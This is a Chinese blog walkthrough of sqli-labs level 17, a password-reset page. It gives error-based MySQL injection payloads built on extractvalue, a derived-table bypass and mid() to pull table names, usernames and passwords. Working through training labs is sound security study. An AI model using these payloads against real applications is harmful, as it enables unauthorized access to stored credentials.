sqli-labs通关(十七)

第十七关

这一关跟前面的关卡都不一样,是全新的关卡,页面是一个密码重置页面,需要输入用户名,然后输入新的密码,就会把我们的旧密码替换掉。所以就会用到数据库的update更新数据,不再是前面的查询数据,所以之前的联合注入和布尔盲注以及时间盲注都不能用了。这里我们要用到之前使用过的报错注入

 这里要先输入正确的用户名,验证成功后才会把新密码替换,所以我们输入

 admin

1' and extractvalue(1,concat(0x7e,(select database())))#

 爆表名

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#

 爆列名

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))#

 爆内容

1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users)))#

 发现报错了

那是因为在mysql中一个语句中不能先select表中的某些值,再update这个表。

 但是我们可以用(select username from users)a替换users来进行绕过

1' and extractvalue(1,concat(0x7e,(select group_concat(username) from (select username from users)a)))#

 但是回显并没有完全,因为报错回显只能回显32位

 所以我们使用mid()函数来截取,因为是从32位开始不能看到,所以我们从第32位开始截取,截取后32位

1' and extractvalue(1,concat(0x7e,mid((select group_concat(username) from (select username from users)a),32,32)))#

1' and extractvalue(1,concat(0x7e,(select group_concat(password) from (select password from users)a)))#

然后是后面32位 

1' and extractvalue(1,concat(0x7e,mid((select group_concat(password) from (select password from users)a),32,32)))#

 

 

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值